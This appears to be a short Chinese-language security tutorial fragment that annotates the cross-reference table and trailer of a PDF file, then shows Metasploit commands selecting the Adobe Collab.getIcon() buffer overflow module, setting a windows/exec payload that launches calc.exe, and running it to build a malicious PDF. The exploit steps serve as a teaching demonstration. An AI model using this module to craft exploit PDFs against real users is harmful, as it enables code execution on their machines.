xref //交叉引用表 08//说明下面的描述是从 0 号对象开始,数量为 8 000000000065535 f //一般每个 PDF 文件都是以这一行开始交叉应用表的,说明对象 0 的起始地址为 0000000000,产生号(generation number)为 65535,也是最大产生号,不可以再进行更改,而且最后对象的表示是 f, 表明该对象为 free 000000001000000 n //表示对象 1, 也就是 catalog 对象了,0000000009 是其偏移地址,00000 为 5 位产生号,全 0 表明该对象未被修改过, n 表示该对象在使用。 000000009800000 n 000000014700000 n 000000020800000 n 000000040000000 n 000000054900000 n 000000066300000 n
trailer //尾部 << /Size 8 //该 PDF 对象数 /Root10 R //根对象的对象号为 1 >> startxref 1946//交叉引用表的偏移地址 %%EOF//文件结束标志
> exploit/windows/browser/adobe_geticon 2009-03-24 good No Adobe Collab.getIcon() Buffer Overflow > exploit/windows/fileformat/adobe_geticon 2009-03-24 good No Adobe Collab.getIcon() Buffer Overflow
> msf5 > use exploit/windows/fileformat/adobe_geticon > msf5 exploit(windows/fileformat/adobe_geticon) > set payload windows/exec > payload => windows/exec > msf5 exploit(windows/fileformat/adobe_geticon) > set cmd calc.exe > cmd => calc.exe > msf5 exploit(windows/fileformat/adobe_geticon) > run